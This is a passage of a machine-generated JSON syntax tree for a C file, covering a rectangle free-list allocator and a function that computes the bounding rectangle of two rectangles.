"type": "break_statement", "text": "break;", "parent": 598, "children": [604], "start_point": {"row": 133, "column": 16}, "end_point": {"row": 133, "column": 22}}, {"id": 604, "type": "break", "text": "break", "parent": 603, "children": [], "start_point": {"row": 133, "column": 16}, "end_point": {"row": 133, "column": 21}}, {"id": 605, "type": "else_clause", "text": "else {\r\n RectPtr temp;\r\n\r\n temp = rlist;\r\n rlist = ptr;\r\n ptr->next = temp;\r\n i++;\r\n }", "parent": 598, "children": [], "start_point": {"row": 134, "column": 14}, "end_point": {"row": 141, "column": 13}}, {"id": 606, "type": "declaration", "text": "RectPtr temp;", "parent": 605, "children": [607, 608], "start_point": {"row": 135, "column": 16}, "end_point": {"row": 135, "column": 29}}, {"id": 607, "type": "type_identifier", "text": "RectPtr", "parent": 606, "children": [], "start_point": {"row": 135, "column": 16}, "end_point": {"row": 135, "column": 23}}, {"id": 608, "type": "identifier", "text": "temp", "parent": 606, "children": [], "start_point": {"row": 135, "column": 24}, "end_point": {"row": 135, "column": 28}}, {"id": 609, "type": "assignment_expression", "text": "temp = rlist", "parent": 605, "children": [610, 611, 612], "start_point": {"row": 137, "column": 16}, "end_point": {"row": 137, "column": 28}}, {"id": 610, "type": "identifier", "text": "temp", "parent": 609, "children": [], "start_point": {"row": 137, "column": 16}, "end_point": {"row": 137, "column": 20}}, {"id": 611, "type": "=", "text": "=", "parent": 609, "children": [], "start_point": {"row": 137, "column": 21}, "end_point": {"row": 137, "column": 22}}, {"id": 612, "type": "identifier", "text": "rlist", "parent": 609, "children": [], "start_point": {"row": 137, "column": 23}, "end_point": {"row": 137, "column": 28}}, {"id": 613, "type": "assignment_expression", "text": "rlist = ptr", "parent": 605, "children": [614, 615, 616], "start_point": {"row": 138, "column": 16}, "end_point": {"row": 138, "column": 27}}, {"id": 614, "type": "identifier", "text": "rlist", "parent": 613, "children": [], "start_point": {"row": 138, "column": 16}, "end_point": {"row": 138, "column": 21}}, {"id": 615, "type": "=", "text": "=", "parent": 613, "children": [], "start_point": {"row": 138, "column": 22}, "end_point": {"row": 138, "column": 23}}, {"id": 616, "type": "identifier", "text": "ptr", "parent": 613, "children": [], "start_point": {"row": 138, "column": 24}, "end_point": {"row": 138, "column": 27}}, {"id": 617, "type": "assignment_expression", "text": "ptr->next = temp", "parent": 605, "children": [618, 621, 622], "start_point": {"row": 139, "column": 16}, "end_point": {"row": 139, "column": 32}}, {"id": 618, "type": "field_expression", "text": "ptr->next", "parent": 617, "children": [619, 620], "start_point": {"row": 139, "column": 16}, "end_point": {"row": 139, "column": 25}}, {"id": 619, "type": "identifier", "text": "ptr", "parent": 618, "children": [], "start_point": {"row": 139, "column": 16}, "end_point": {"row": 139, "column": 19}}, {"id": 620, "type": "field_identifier", "text": "next", "parent": 618, "children": [], "start_point": {"row": 139, "column": 21}, "end_point": {"row": 139, "column": 25}}, {"id": 621, "type": "=", "text": "=", "parent": 617, "children": [], "start_point": {"row": 139, "column": 26}, "end_point": {"row": 139, "column": 27}}, {"id": 622, "type": "identifier", "text": "temp", "parent": 617, "children": [], "start_point": {"row": 139, "column": 28}, "end_point": {"row": 139, "column": 32}}, {"id": 623, "type": "update_expression", "text": "i++", "parent": 605, "children": [624, 625], "start_point": {"row": 140, "column": 16}, "end_point": {"row": 140, "column": 19}}, {"id": 624, "type": "identifier", "text": "i", "parent": 623, "children": [], "start_point": {"row": 140, "column": 16}, "end_point": {"row": 140, "column": 17}}, {"id": 625, "type": "++", "text": "++", "parent": 623, "children": [], "start_point": {"row": 140, "column": 17}, "end_point": {"row": 140, "column": 19}}, {"id": 626, "type": "parenthesized_expression", "text": "(i < 10)", "parent": 583, "children": [627], "start_point": {"row": 142, "column": 16}, "end_point": {"row": 142, "column": 24}}, {"id": 627, "type": "binary_expression", "text": "i < 10", "parent": 626, "children": [628, 629, 630], "start_point": {"row": 142, "column": 17}, "end_point": {"row": 142, "column": 23}}, {"id": 628, "type": "identifier", "text": "i", "parent": 627, "children": [], "start_point": {"row": 142, "column": 17}, "end_point": {"row": 142, "column": 18}}, {"id": 629, "type": "<", "text": "<", "parent": 627, "children": [], "start_point": {"row": 142, "column": 19}, "end_point": {"row": 142, "column": 20}}, {"id": 630, "type": "number_literal", "text": "10", "parent": 627, "children": [], "start_point": {"row": 142, "column": 21}, "end_point": {"row": 142, "column": 23}}, {"id": 631, "type": "if_statement", "text": "if (rlist) {\r\n ptr = rlist;\r\n rlist = rlist->next;\r\n } else {\r\n ptr = 0;\r\n }", "parent": 562, "children": [632, 644], "start_point": {"row": 145, "column": 4}, "end_point": {"row": 150, "column": 5}}, {"id": 632, "type": "parenthesized_expression", "text": "(rlist)", "parent": 631, "children": [633], "start_point": {"row": 145, "column": 7}, "end_point": {"row": 145, "column": 14}}, {"id": 633, "type": "identifier", "text": "rlist", "parent": 632, "children": [], "start_point": {"row": 145, "column": 8}, "end_point": {"row": 145, "column": 13}}, {"id": 634, "type": "assignment_expression", "text": "ptr = rlist", "parent": 631, "children": [635, 636, 637], "start_point": {"row": 146, "column": 8}, "end_point": {"row": 146, "column": 19}}, {"id": 635, "type": "identifier", "text": "ptr", "parent": 634, "children": [], "start_point": {"row": 146, "column": 8}, "end_point": {"row": 146, "column": 11}}, {"id": 636, "type": "=", "text": "=", "parent": 634, "children": [], "start_point": {"row": 146, "column": 12}, "end_point": {"row": 146, "column": 13}}, {"id": 637, "type": "identifier", "text": "rlist", "parent": 634, "children": [], "start_point": {"row": 146, "column": 14}, "end_point": {"row": 146, "column": 19}}, {"id": 638, "type": "assignment_expression", "text": "rlist = rlist->next", "parent": 631, "children": [639, 640, 641], "start_point": {"row": 147, "column": 8}, "end_point": {"row": 147, "column": 27}}, {"id": 639, "type": "identifier", "text": "rlist", "parent": 638, "children": [], "start_point": {"row": 147, "column": 8}, "end_point": {"row": 147, "column": 13}}, {"id": 640, "type": "=", "text": "=", "parent": 638, "children": [], "start_point": {"row": 147, "column": 14}, "end_point": {"row": 147, "column": 15}}, {"id": 641, "type": "field_expression", "text": "rlist->next", "parent": 638, "children": [642, 643], "start_point": {"row": 147, "column": 16}, "end_point": {"row": 147, "column": 27}}, {"id": 642, "type": "identifier", "text": "rlist", "parent": 641, "children": [], "start_point": {"row": 147, "column": 16}, "end_point": {"row": 147, "column": 21}}, {"id": 643, "type": "field_identifier", "text": "next", "parent": 641, "children": [], "start_point": {"row": 147, "column": 23}, "end_point": {"row": 147, "column": 27}}, {"id": 644, "type": "else_clause", "text": "else {\r\n ptr = 0;\r\n }", "parent": 631, "children": [], "start_point": {"row": 148, "column": 6}, "end_point": {"row": 150, "column": 5}}, {"id": 645, "type": "assignment_expression", "text": "ptr = 0", "parent": 644, "children": [646, 647, 648], "start_point": {"row": 149, "column": 8}, "end_point": {"row": 149, "column": 15}}, {"id": 646, "type": "identifier", "text": "ptr", "parent": 645, "children": [], "start_point": {"row": 149, "column": 8}, "end_point": {"row": 149, "column": 11}}, {"id": 647, "type": "=", "text": "=", "parent": 645, "children": [], "start_point": {"row": 149, "column": 12}, "end_point": {"row": 149, "column": 13}}, {"id": 648, "type": "number_literal", "text": "0", "parent": 645, "children": [], "start_point": {"row": 149, "column": 14}, "end_point": {"row": 149, "column": 15}}, {"id": 649, "type": "return_statement", "text": "return ptr;", "parent": 562, "children": [650], "start_point": {"row": 152, "column": 4}, "end_point": {"row": 152, "column": 15}}, {"id": 650, "type": "identifier", "text": "ptr", "parent": 649, "children": [], "start_point": {"row": 152, "column": 11}, "end_point": {"row": 152, "column": 14}}, {"id": 651, "type": "function_definition", "text": "void rect_free(RectPtr ptr) {\r\n RectPtr temp;\r\n\r\n temp = rlist;\r\n rlist = ptr;\r\n ptr->next = temp;\r\n}", "parent": null, "children": [652, 653], "start_point": {"row": 155, "column": 0}, "end_point": {"row": 161, "column": 1}}, {"id": 652, "type": "primitive_type", "text": "void", "parent": 651, "children": [], "start_point": {"row": 155, "column": 0}, "end_point": {"row": 155, "column": 4}}, {"id": 653, "type": "function_declarator", "text": "rect_free(RectPtr ptr)", "parent": 651, "children": [654, 655], "start_point": {"row": 155, "column": 5}, "end_point": {"row": 155, "column": 27}}, {"id": 654, "type": "identifier", "text": "rect_free", "parent": 653, "children": [], "start_point": {"row": 155, "column": 5}, "end_point": {"row": 155, "column": 14}}, {"id": 655, "type": "parameter_list", "text": "(RectPtr ptr)", "parent": 653, "children": [656], "start_point": {"row": 155, "column": 14}, "end_point": {"row": 155, "column": 27}}, {"id": 656, "type": "parameter_declaration", "text": "RectPtr ptr", "parent": 655, "children": [657, 658], "start_point": {"row": 155, "column": 15}, "end_point": {"row": 155, "column": 26}}, {"id": 657, "type": "type_identifier", "text": "RectPtr", "parent": 656, "children": [], "start_point": {"row": 155, "column": 15}, "end_point": {"row": 155, "column": 22}}, {"id": 658, "type": "identifier", "text": "ptr", "parent": 656, "children": [], "start_point": {"row": 155, "column": 23}, "end_point": {"row": 155, "column": 26}}, {"id": 659, "type": "declaration", "text": "RectPtr temp;", "parent": 651, "children": [660, 661], "start_point": {"row": 156, "column": 4}, "end_point": {"row": 156, "column": 17}}, {"id": 660, "type": "type_identifier", "text": "RectPtr", "parent": 659, "children": [], "start_point": {"row": 156, "column": 4}, "end_point": {"row": 156, "column": 11}}, {"id": 661, "type": "identifier", "text": "temp", "parent": 659, "children": [], "start_point": {"row": 156, "column": 12}, "end_point": {"row": 156, "column": 16}}, {"id": 662, "type": "assignment_expression", "text": "temp = rlist", "parent": 651, "children": [663, 664, 665], "start_point": {"row": 158, "column": 4}, "end_point": {"row": 158, "column": 16}}, {"id": 663, "type": "identifier", "text": "temp", "parent": 662, "children": [], "start_point": {"row": 158, "column": 4}, "end_point": {"row": 158, "column": 8}}, {"id": 664, "type": "=", "text": "=", "parent": 662, "children": [], "start_point": {"row": 158, "column": 9}, "end_point": {"row": 158, "column": 10}}, {"id": 665, "type": "identifier", "text": "rlist", "parent": 662, "children": [], "start_point": {"row": 158, "column": 11}, "end_point": {"row": 158, "column": 16}}, {"id": 666, "type": "assignment_expression", "text": "rlist = ptr", "parent": 651, "children": [667, 668, 669], "start_point": {"row": 159, "column": 4}, "end_point": {"row": 159, "column": 15}}, {"id": 667, "type": "identifier", "text": "rlist", "parent": 666, "children": [], "start_point": {"row": 159, "column": 4}, "end_point": {"row": 159, "column": 9}}, {"id": 668, "type": "=", "text": "=", "parent": 666, "children": [], "start_point": {"row": 159, "column": 10}, "end_point": {"row": 159, "column": 11}}, {"id": 669, "type": "identifier", "text": "ptr", "parent": 666, "children": [], "start_point": {"row": 159, "column": 12}, "end_point": {"row": 159, "column": 15}}, {"id": 670, "type": "assignment_expression", "text": "ptr->next = temp", "parent": 651, "children": [671, 674, 675], "start_point": {"row": 160, "column": 4}, "end_point": {"row": 160, "column": 20}}, {"id": 671, "type": "field_expression", "text": "ptr->next", "parent": 670, "children": [672, 673], "start_point": {"row": 160, "column": 4}, "end_point": {"row": 160, "column": 13}}, {"id": 672, "type": "identifier", "text": "ptr", "parent": 671, "children": [], "start_point": {"row": 160, "column": 4}, "end_point": {"row": 160, "column": 7}}, {"id": 673, "type": "field_identifier", "text": "next", "parent": 671, "children": [], "start_point": {"row": 160, "column": 9}, "end_point": {"row": 160, "column": 13}}, {"id": 674, "type": "=", "text": "=", "parent": 670, "children": [], "start_point": {"row": 160, "column": 14}, "end_point": {"row": 160, "column": 15}}, {"id": 675, "type": "identifier", "text": "temp", "parent": 670, "children": [], "start_point": {"row": 160, "column": 16}, "end_point": {"row": 160, "column": 20}}, {"id": 676, "type": "function_definition", "text": "void rect_min_bound(Rect *r1, Rect *r2, Rect *min_bound) {\r\n if (r1->ulx >= r2->ulx) {\r\n min_bound->ulx = r2->ulx;\r\n } else {\r\n min_bound->ulx = r1->ulx;\r\n }\r\n\r\n if (r1->uly >= r2->uly) {\r\n min_bound->uly = r2->uly;\r\n } else {\r\n min_bound->uly = r1->uly;\r\n }\r\n\r\n if (r1->lrx <= r2->lrx) {\r\n min_bound->lrx = r2->lrx;\r\n } else {\r\n min_bound->lrx = r1->lrx;\r\n }\r\n\r\n if (r1->lry <= r2->lry) {\r\n min_bound->lry = r2->lry;\r\n } else {\r\n min_bound->lry = r1->lry;\r\n }\r\n}", "parent": null, "children": [677, 678], "start_point": {"row": 163, "column": 0}, "end_point": {"row": 187, "column": 1}}, {"id": 677, "type": "primitive_type", "text": "void", "parent": 676, "children": [], "start_point": {"row": 163, "column": 0}, "end_point": {"row": 163, "column": 4}}, {"id": 678, "type": "function_declarator", "text": "rect_min_bound(Rect *r1, Rect *r2, Rect *min_bound)", "parent": 676, "children": [679, 680], "start_point": {"row": 163, "column": 5}, "end_point": {"row": 163, "column": 56}}, {"id": 679, "type": "identifier", "text": "rect_min_bound", "parent": 678, "children": [], "start_point": {"row": 163, "column": 5}, "end_point": {"row": 163, "column": 19}}, {"id": 680, "type": "parameter_list", "text": "(Rect *r1, Rect *r2, Rect *min_bound)", "parent": 678, "children": [681, 686, 691], "start_point": {"row": 163, "column": 19}, "end_point": {"row": 163, "column": 56}}, {"id": 681, "type": "parameter_declaration", "text": "Rect *r1", "parent": 680, "children": [682, 683], "start_point": {"row": 163, "column": 20}, "end_point": {"row": 163, "column": 28}}, {"id": 682, "type": "type_identifier", "text": "Rect", "parent": 681, "children": [], "start_point": {"row": 163, "column": 20}, "end_point": {"row": 163, "column": 24}}, {"id": 683, "type": "pointer_declarator", "text": "*r1", "parent": 681, "children": [684, 685], "start_point": {"row": 163, "column": 25}, "end_point": {"row": 163, "column": 28}}, {"id": 684, "type": "*", "text": "*", "parent": 683, "children": [], "start_point": {"row": 163, "column": 25}, "end_point": {"row": 163, "column": 26}}, {"id": 685, "type": "identifier", "text": "r1", "parent": 683, "children": [], "start_point": {"row": 163, "column": 26}, "end_point": {"row": 163, "column": 28}}, {"id": 686, "type": "parameter_declaration", "text": "Rect *r2", "parent": 680, "children": [687, 688], "start_point": {"row": 163, "column": 30}, "end_point": {"row": 163, "column": 38}}, {"id": 687, "type": "type_identifier", "text": "Rect", "parent": 686, "children": [], "start_point": {"row": 163, "column": 30}, "end_point": {"row": 163, "column": 34}}, {"id": 688, "type": "pointer_declarator", "text": "*r2", "parent": 686, "children": [689, 690], "start_point": {"row": 163, "column": 35}, "end_point": {"row": 163, "column": 38}}, {"id": 689, "type": "*", "text": "*", "parent": 688, "children": [], "start_point": {"row": 163, "column": 35}, "end_point": {"row": 163, "column": 36}}, {"id": 690, "type": "identifier", "text": "r2", "parent": 688, "children": [], "start_point": {"row": 163, "column": 36}, "end_point": {"row": 163, "column": 38}}, {"id": 691, "type": "parameter_declaration", "text": "Rect *min_bound", "parent": 680, "children": [692, 693], "start_point": {"row": 163, "column": 40}, "end_point": {"row": 163, "column": 55}}, {"id": 692, "type": "type_identifier", "text": "Rect", "parent": 691, "children": [], "start_point": {"row": 163, "column": 40}, "end_point": {"row": 163, "column": 44}}, {"id": 693, "type": "pointer_declarator", "text": "*min_bound", "parent": 691, "children": [694, 695], "start_point": {"row": 163, "column": 45}, "end_point": {"row": 163, "column": 55}}, {"id": 694, "type": "*", "text": "*", "parent": 693, "children": [], "start_point": {"row": 163, "column": 45}, "end_point": {"row": 163, "column": 46}}, {"id": 695, "type": "identifier", "text": "min_bound", "parent": 693, "children": [], "start_point": {"row": 163, "column": 46}, "end_point": {"row": 163, "column": 55}}, {"id": 696, "type": "if_statement", "text": "if (r1->ulx >= r2->ulx) {\r\n min_bound->ulx = r2->ulx;\r\n } else {\r\n min_bound->ulx = r1->ulx;\r\n }", "parent": 676, "children": [697, 714], "start_point": {"row": 164, "column": 4}, "end_point": {"row": 168, "column": 5}}, {"id": 697, "type": "parenthesized_expression", "text": "(r1->ulx >= r2->ulx)", "parent": 696, "children": [698], "start_point": {"row": 164, "column": 7}, "end_point": {"row": 164, "column": 27}}, {"id": 698, "type": "binary_expression", "text": "r1->ulx >= r2->ulx", "parent": 697, "children": [699, 702, 703], "start_point": {"row": 164, "column": 8}, "end_point": {"row": 164, "column": 26}}, {"id": 699, "type": "field_expression", "text": "r1->ulx", "parent": 698, "children": [700, 701], "start_point": {"row": 164, "column": 8}, "end_point": {"row": 164, "column": 15}}, {"id": 700, "type": "identifier", "text": "r1", "parent": 699, "children": [], "start_point": {"row": 164, "column": 8}, "end_point": {"row": 164, "column": 10}}, {"id": 701, "type": "field_identifier", "text": "ulx", "parent": 699, "children": [], "start_point": {"row": 164, "column": 12}, "end_point": {"row": 164, "column": 15}}, {"id": 702, "type": ">=", "text": ">=", "parent": 698, "children": [], "start_point": {"row": 164, "column": 16}, "end_point": {"row": 164, "column": 18}}, {"id": 703, "type": "field_expression", "text": "r2->ulx", "parent": 698, "children": [704, 705], "start_point": {"row": 164, "column": 19}, "end_point": {"row": 164, "column": 26}}, {"id": 704, "type": "identifier", "text": "r2", "parent": 703, "children": [], "start_point": {"row": 164, "column": 19}, "end_point": {"row": 164, "column": 21}}, {"id": 705, "type": "field_identifier", "text": "ulx", "parent": 703, "children": [], "start_point": {"row": 164, "column": 23}, "end_point": {"row": 164, "column": 26}}, {"id": 706, "type": "assignment_expression", "text": "min_bound->ulx = r2->ulx", "parent": 696, "children": [707, 710, 711], "start_point": {"row": 165, "column": 8}, "end_point": {"row": 165, "column": 32}}, {"id": 707, "type": "field_expression", "text": "min_bound->ulx", "parent": 706, "children": [708, 709], "start_point": {"row": 165, "column": 8}, "end_point": {"row": 165, "column": 22}}, {"id": 708, "type": "identifier", "text": "min_bound", "parent": 707, "children": [], "start_point": {"row": 165, "column": 8}, "end_point": {"row": 165, "column": 17}}, {"id": 709, "type": "field_identifier", "text": "ulx", "parent": 707, "children": [], "start_point": {"row": 165, "column": 19}, "end_point": {"row": 165, "column": 22}}, {"id": 710, "type": "=", "text": "=", "parent": 706, "children": [], "start_point": {"row": 165, "column": 23}, "end_point": {"row": 165, "column": 24}}, {"id": 711, "type": "field_expression", "text": "r2->ulx", "parent": 706, "children": [712, 713], "start_point": {"row": 165, "column": 25}, "end_point": {"row": 165, "column": 32}}, {"id": 712, "type": "identifier", "text": "r2", "parent": 711, "children": [], "start_point": {"row": 165, "column": 25}, "end_point": {"row": 165, "column": 27}}, {"id": 713, "type": "field_identifier", "text": "ulx", "parent": 711, "children": [], "start_point": {"row": 165, "column": 29}, "end_point": {"row": 165, "column": 32}}, {"id": 714, "type": "else_clause", "text": "else {\r\n min_bound->ulx = r1->ulx;\r\n }", "parent": 696, "children": [], "start_point": {"row": 166, "column": 6}, "end_point": {"row": 168, "column": 5}}, {"id": 715, "type": "assignment_expression", "text": "min_bound->ulx = r1->ulx", "parent": 714, "children": [716, 719, 720], "start_point": {"row": 167, "column": 8}, "end_point": {"row": 167, "column": 32}}, {"id": 716, "type": "field_expression", "text": "min_bound->ulx", "parent": 715, "children": [717, 718], "start_point": {"row": 167, "column": 8}, "end_point": {"row": 167, "column": 22}}, {"id": 717, "type": "identifier", "text": "min_bound", "parent": 716, "children": [], "start_point": {"row": 167, "column": 8}, "end_point": {"row": 167, "column": 17}}, {"id": 718, "type": "field_identifier", "text": "ulx", "parent": 716, "children": [], "start_point": {"row": 167, "column": 19}, "end_point": {"row": 167, "column": 22}}, {"id": 719, "type": "=", "text": "=", "parent": 715, "children": [], "start_point": {"row": 167, "column": 23}, "end_point": {"row": 167, "column": 24}}, {"id": 720, "type": "field_expression", "text": "r1->ulx", "parent": 715, "children": [721, 722], "start_point": {"row": 167, "column": 25}, "end_point": {"row": 167, "column": 32}}, {"id": 721, "type": "identifier", "text": "r1", "parent": 720, "children": [], "start_point": {"row": 167, "column": 25}, "end_point": {"row": 167, "column": 27}}, {"id": 722, "type": "field_identifier", "text": "ulx", "parent": 720, "children": [], "start_point": {"row": 167, "column": 29}, "end_point": {"row": 167, "column": 32}}, {"id": 723, "type": "if_statement", "text": "if (r1->uly >= r2->uly) {\r\n min_bound->uly = r2->uly;\r\n } else {\r\n min_bound->uly = r1->uly;\r\n }", "parent": 676, "children": [724, 741], "start_point": {"row": 170, "column": 4}, "end_point": {"row": 174, "column": 5}}, {"id": 724, "type": "parenthesized_expression", "text": "(r1->uly >= r2->uly)", "parent": 723, "children": [725], "start_point": {"row": 170, "column": 7}, "end_point": {"row": 170, "column": 27}}, {"id": 725, "type": "binary_expression", "text": "r1->uly >= r2->uly", "parent": 724, "children": [726, 729, 730], "start_point": {"row": 170, "column": 8}, "end_point": {"row": 170, "column": 26}}, {"id": 726, "type": "field_expression", "text": "r1->uly", "parent": 725, "children": [727, 728], "start_point": {"row": 170, "column": 8}, "end_point": {"row": 170, "column": 15}}, {"id": 727, "type": "identifier", "text": "r1", "parent": 726, "children": [], "start_point": {"row": 170, "column": 8}, "end_point": {"row": 170, "column": 10}}, {"id": 728, "type": "field_identifier", "text": "uly", "parent": 726, "children": [], "start_point": {"row": 170, "column": 12}, "end_point": {"row": 170, "column": 15}}, {"id": 729, "type": ">=", "text": ">=", "parent": 725, "children": [], "start_point": {"row": 170, "column": 16}, "end_point": {"row": 170, "column": 18}}, {"id": 730, "type": "field_expression", "text": "r2->uly", "parent": 725, "children": [731, 732], "start_point": {"row": 170, "column": 19}, "end_point": {"row": 170, "column": 26}}, {"id": 731, "type": "identifier", "text": "r2", "parent": 730, "children": [], "start_point": {"row": 170, "column": 19}, "end_point": {"row": 170, "column": 21}}, {"id": 732, "type": "field_identifier", "text": "uly", "parent": 730, "children": [], "start_point": {"row": 170, "column": 23}, "end_point": {"row": 170, "column": 26}}, {"id": 733, "type": "assignment_expression", "text": "min_bound->uly = r2->uly", "parent": 723, "children": [734, 737, 738], "start_point": {"row": 171, "column": 8}, "end_point": {"row": 171, "column": 32}}, {"id": 734, "type": "field_expression", "text": "min_bound->uly", "parent": 733, "children": [735, 736], "start_point": {"row": 171, "column": 8}, "end_point": {"row": 171, "column": 22}}, {"id": 735, "type": "identifier", "text": "min_bound", "parent": 734, "children": [], "start_point": {"row": 171, "column": 8}, "end_point": {"row": 171, "column": 17}}, {"id": 736, "type": "field_identifier", "text": "uly", "parent": 734, "children": [], "start_point": {"row": 171, "column": 19}, "end_point": {"row": 171, "column": 22}}, {"id": 737, "type": "=", "text": "=", "parent": 733, "children": [], "start_point": {"row": 171, "column": 23}, "end_point": {"row": 171, "column": 24}}, {"id": 738, "type": "field_expression", "text": "r2->uly", "parent": 733, "children": [739, 740], "start_point": {"row": 171, "column": 25}, "end_point": {"row": 171, "column": 32}}, {"id": 739, "type": "identifier", "text": "r2", "parent": 738, "children": [], "start_point": {"row": 171, "column": 25}, "end_point": {"row": 171, "column": 27}}, {"id": 740, "type": "field_identifier", "text": "uly", "parent": 738, "children": [], "start_point": {"row": 171, "column": 29}, "end_point": {"row": 171, "column": 32}}, {"id": 741, "type": "else_clause", "text": "else {\r\n min_bound->uly = r1->uly;\r\n }", "parent": 723, "children": [], "start_point": {"row": 172, "column": 6}, "end_point": {"row": 174, "column": 5}}, {"id": 742, "type": "assignment_expression", "text": "min_bound->uly = r1->uly", "parent": 741, "children": [743, 746, 747], "start_point": {"row": 173, "column": 8}, "end_point": {"row": 173, "column": 32}}, {"id": 743, "type": "field_expression", "text": "min_bound->uly", "parent": 742, "children": [744, 745], "start_point": {"row": 173, "column": 8}, "end_point": {"row": 173, "column": 22}}, {"id": 744, "type": "identifier", "text": "min_bound", "parent": 743, "children": [], "start_point": {"row": 173, "column": 8}, "end_point": {"row": 173, "column": 17}}, {"id": 745, "type": "field_identifier", "text": "uly", "parent": 743, "children": [], "start_point": {"row": 173, "column": 19}, "end_point": {"row": 173, "column": 22}}, {"id": 746, "type": "=", "text": "=", "parent": 742, "children": [], "start_point": {"row": 173, "column": 23}, "end_point": {"row": 173, "column": 24}}, {"id": 747, "type": "field_expression", "text": "r1->uly", "parent": 742, "children": [748, 749], "start_point": {"row": 173, "column": 25}, "end_point": {"row": 173, "column": 32}}, {"id": 748, "type": "identifier", "text": "r1", "parent": 747, "children": [], "start_point": {"row": 173, "column": 25}, "end_point": {"row": 173, "column": 27}}, {"id": 749, "type": "field_identifier", "text": "uly", "parent": 747, "children": [], "start_point": {"row": 173, "column": 29}, "end_point": {"row": 173, "column": 32}}, {"id": 750, "type": "if_statement", "text": "if (r1->lrx <= r2->lrx) {\r\n min_bound->lrx = r2->lrx;\r\n } else {\r\n min_bound->lrx = r1->lrx;\r\n }", "parent": 676, "children": [751, 768], "start_point": {"row": 176, "column": 4}, "end_point": {"row": 180, "column": 5}}, {"id": 751, "type": "parenthesized_expression", "text": "(r1->lrx <= r2->lrx)", "parent": 750, "children": [752], "start_point": {"row": 176, "column": 7}, "end_point": {"row": 176, "column": 27}}, {"id": 752, "type": "binary_expression", "text": "r1->lrx <= r2->lrx", "parent": 751, "children": [753, 756, 757], "start_point": {"row": 176, "column": 8}, "end_point": {"row": 176, "column": 26}}, {"id": 753, "type": "field_expression", "text": "r1->lrx", "parent": 752, "children": [754, 755], "start_point": {"row": 176, "column": 8}, "end_point": {"row": 176, "column": 15}}, {"id": 754, "type": "identifier", "text": "r1", "parent": 753, "children": [], "start_point": {"row": 176, "column": 8}, "end_point": {"row": 176, "column": 10}}, {"id": 755, "type": "field_identifier", "text": "lrx", "parent": 753, "children": [], "start_point": {"row": 176, "column": 12}, "end_point": {"row": 176, "column": 15}}, {"id": 756, "type": "<=", "text": "<=", "parent": 752, "children": [], "start_point": {"row": 176, "column": 16}, "end_point": {"row": 176, "column": 18}}, {"id": 757, "type": "field_expression", "text": "r2->lrx", "parent": 752, "children": [758, 759], "start_point": {"row": 176, "column": 19}, "end_point": {"row": 176, "column": 26}}, {"id": 758, "type": "identifier", "text": "r2", "parent": 757, "children": [], "start_point": {"row": 176, "column": 19}, "end_point": {"row": 176, "column": 21}}, {"id": 759, "type": "field_identifier", "text": "lrx", "parent": 757, "children": [], "start_point": {"row": 176, "column": 23}, "end_point": {"row": 176, "column": 26}}, {"id": 760, "type": "assignment_expression", "text": "min_bound->lrx = r2->lrx", "parent": 750, "children": [761, 764, 765], "start_point": {"row": 177, "column": 8}, "end_point": {"row": 177, "column": 32}}, {"id": 761, "type": "field_expression", "text": "min_bound->lrx", "parent": 760, "children": [762, 763], "start_point": {"row": 177, "column": 8}, "end_point": {"row": 177, "column": 22}}, {"id": 762, "type": "identifier", "text": "min_bound", "parent": 761, "children": [], "start_point": {"row": 177, "column": 8}, "end_point": {"row": 177, "column": 17}}, {"id": 763, "type": "field_identifier", "text": "lrx", "parent": 761, "children": [], "start_point": {"row": 177, "column": 19}, "end_point": {"row": 177, "column": 22}}, {"id": 764, "type": "=", "text": "=", "parent": 760, "children": [], "start_point": {"row": 177, "column": 23}, "end_point": {"row": 177, "column": 24}}, {"id": 765, "type": "field_expression", "text": "r2->lrx", "parent": 760, "children": [766, 767], "start_point": {"row": 177, "column": 25}, "end_point": {"row": 177, "column": 32}}, {"id": 766, "type": "identifier", "text": "r2", "parent": 765, "children": [], "start_point": {"row": 177, "column": 25}, "end_point": {"row": 177, "column": 27}}, {"id": 767, "type": "field_identifier", "text": "lrx", "parent": 765, "children": [], "start_point": {"row": 177, "column": 29}, "end_point": {"row": 177, "column": 32}}, {"id": 768, "type": "else_clause", "text": "else {\r\n min_bound->lrx = r1->lrx;\r\n }", "parent": 750, "children": [], "start_point": {"row": 178, "column": 6}, "end_point": {"row": 180, "column": 5}}, {"id": 769, "type": "assignment_expression", "text": "min_bound->lrx = r1->lrx", "parent": 768, "children": [770, 773, 774], "start_point": {"row": 179, "column": 8}, "end_point": {"row": 179, "column": 32}}, {"id": 770, "type": "field_expression", "text": "min_bound->lrx", "parent": 769, "children": [771, 772], "start_point": {"row": 179, "column": 8}, "end_point": {"row": 179, "column": 22}}, {"id": 771, "type": "identifier", "text": "min_bound", "parent": 770, "children": [], "start_point": {"row": 179, "column": 8}, "end_point": {"row": 179, "column": 17}}, {"id": 772, "type": "field_identifier", "text": "lrx", "parent": 770, "children": [], "start_point": {"row": 179, "column": 19}, "end_point": {"row": 179, "column": 22}}, {"id": 773, "type": "=", "text": "=", "parent": 769, "children": [], "start_point": {"row": 179, "column": 23}, "end_point": {"row": 179, "column": 24}}, {"id": 774, "type": "field_expression", "text": "r1->lrx", "parent": 769, "children": [775, 776], "start_point": {"row": 179, "column": 25}, "end_point": {"row": 179, "column": 32}}, {"id": 775, "type": "identifier", "text": "r1", "parent": 774, "children": [], "start_point": {"row": 179, "column": 25}, "end_point": {"row": 179, "column": 27}}, {"id": 776, "type": "field_identifier", "text": "lrx", "parent": 774, "children": [], "start_point": {"row": 179, "column": 29}, "end_point": {"row": 179, "column": 32}}, {"id": 777, "type": "if_statement", "text": "if (r1->lry <= r2->lry) {\r\n min_bound->lry = r2->lry;\r\n } else {\r\n min_bound->lry = r1->lry;\r\n }", "parent": 676, "children": [778, 795], "start_point": {"row": 182, "column": 4}, "end_point": {"row": 186, "column": 5}}, {"id": 778, "type": "parenthesized_expression", "text": "(r1->lry <= r2->lry)", "parent": 777, "children": [779], "start_point": {"row": 182, "column": 7}, "end_point": {"row": 182, "column": 27}}, {"id": 779, "type": "binary_expression", "text": "r1->lry <= r2->lry", "parent": 778, "children": [780, 783, 784], "start_point": {"row": 182, "column": 8}, "end_point": {"row": 182, "column": 26}}, {"id": 780, "type": "field_expression", "text": "r1->lry", "parent": 779, "children": [781, 782], "start_point": {"row": 182, "column": 8}, "end_point": {"row": 182, "column": 15}}, {"id": 781, "type": "identifier", "text": "r1", "parent": 780, "children": [], "start_point": {"row": 182, "column": 8}, "end_point": {"row": 182, "column": 10}}, {"id": 782, "type": "field_identifier", "text": "lry", "parent": 780, "children": [], "start_point": {"row": 182, "column": 12}, "end_point": {"row": 182, "column": 15}}, {"id": 783, "type": "<=", "text": "<=", "parent": 779, "children": [], "start_point": {"row": 182, 